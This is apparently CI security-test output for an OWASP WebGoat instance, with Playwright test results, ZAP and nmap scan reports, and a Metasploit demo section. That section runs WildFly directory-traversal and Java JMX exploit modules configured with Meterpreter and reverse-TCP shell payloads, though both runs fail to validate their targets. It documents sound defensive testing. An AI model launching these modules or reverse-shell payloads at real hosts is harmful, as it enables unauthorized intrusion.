Pytest-Playwright Test Output Issue

Playwright
pytest

Starting pytests....

============================= test session starts ==============================

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0, playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

============================== 5 passed in 27.43s ==============================

Stop pytests....

ZAP Full Scan Report

- Site: http://4.224.50.167:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.50.167:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.50.167:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.50.167:8080/WebGoat/login
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Cookie Slack Detector** [90027] total: 2:
    - http://4.224.50.167:8080/WebGoat/login
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.50.167:8080/WebGoat/login
  - **Base64 Disclosure** [10094] total: 1:
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Non-Storable Content** [10049] total: 1:
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/WebGoat/login
    - http://4.224.50.167:8080/WebGoat/start.mvc
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    - http://4.224.50.167:8080/WebGoat/login
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/WebGoat/login
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Session Management Response Identified** [10112] total: 2:
    - http://4.224.50.167:8080/WebGoat/start.mvc
    - http://4.224.50.167:8080/WebGoat/start.mvc
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/robots.txt
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 24:
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6371120465

Metasploit-ParrotOS Test output

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 2s (11.3 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

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23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

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Do you want to continue? [Y/n] Abort.

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Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

==========

Metasploit Framework Exploit Demo :

==========

Target Web Goat Instance IP Address : 4.224.50.167

Possible Metasploit exploits or auxilaries or payloads, that can used for attacking

==========

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploit*wildfly*dir_traversal.rc for ERB directives.

resource (./src/exploit*wildfly*dir*traversal.rc)> use auxiliary/scanner/http/wildfly*traversal

resource (./src/exploit*wildfly*dir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVE*FILE*PATH standalone

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/generic/shell*reverse*tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Nmap-ParrotOS Scan output

parrotOS
nmap

Nmap vulnerability scanning
for 4.224.50.167

Making sure that parrot OS docker image has all the latest updates...

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Fetched 19.9 MB in 3s (7041 kB/s)

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openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

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The following packages will be upgraded:

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openssh-client openssh-server openssh-sftp-server openssl

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Hit:1 https://deb.parrot.sh/parrot parrot InRelease

Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease

Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-01 14:11 UTC

Nmap scan report for 4.224.50.167

Host is up (0.24s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 b0:be:64:e4:c3:8b:1e:61:74:7f:bf:bb:90:a5:2c:c9 (ECDSA)

|_ 256 c1:23:f7:79:15:f1:2a:22:56:31:ed:48:1a:48:cc:fe (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sun, 01 Oct 2023 14:14:52 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sun, 01 Oct 2023 14:14:51 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sun, 01 Oct 2023 14:14:51 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-01T14:14:51.185+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sun, 01 Oct 2023 14:15:09 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-01T14:15:09.350+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=10/1%Time=65197EDB%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Sun, 01 Oct 2023 14:14:5

SF:1 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sun, 01\x

SF:20Oct 2023 14:14:51 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Sun, 01

SF:0Oct 2023 14:14:52 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=10/1%Time=65197EDB%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra

SF:me-Options: DENY Date: Sun, 01 Oct 2023 14:14:51\x

SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con

SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-10-01T14:14:51.185+00:00\"

SF:, \"status\" : 404, \"error\" : \"Not

SF:Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(SqueezeCenter_C

SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0

SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X

SF:-Frame-Options: DENY Date: Sun, 01 Oct 2023 14:15:

SF:09 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA

SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-10-01T14:

SF:15:09.350+00:00\", \"status\" : 404, \"error\n

SF:" : \"Not Found\", \"path\" : \"/\" }")%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5664.69 ms 4.224.50.167

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 353.66 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-01 14:17 UTC

Nmap scan report for 4.224.50.167

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-01 14:17 UTC

Nmap scan report for 4.224.50.167

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.36 seconds

ZAP Full Scan Report

- Site: http://4.224.50.167:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.50.167:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.50.167:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
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  - **Permissions Policy Header Not Set** [10063] total: 1:
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    - http://4.224.50.167:8080/robots.txt
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 12:
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6371120465

ZAP Full Scan Report

- Site: http://4.224.50.167:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://4.224.50.167:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://4.224.50.167:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://4.224.50.167:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://4.224.50.167:8080/WebGoat/registration
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/registration
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/registration
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/registration
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/registration
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://4.224.50.167:8080/
    - http://4.224.50.167:8080/robots.txt
    - http://4.224.50.167:8080/sitemap.xml
    - http://4.224.50.167:8080/WebGoat/registration
  - **User Agent Fuzzer** [10104] total: 12:
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - http://4.224.50.167:8080/WebGoat
    - ..

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Sonar Cloud Code Scan Report

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.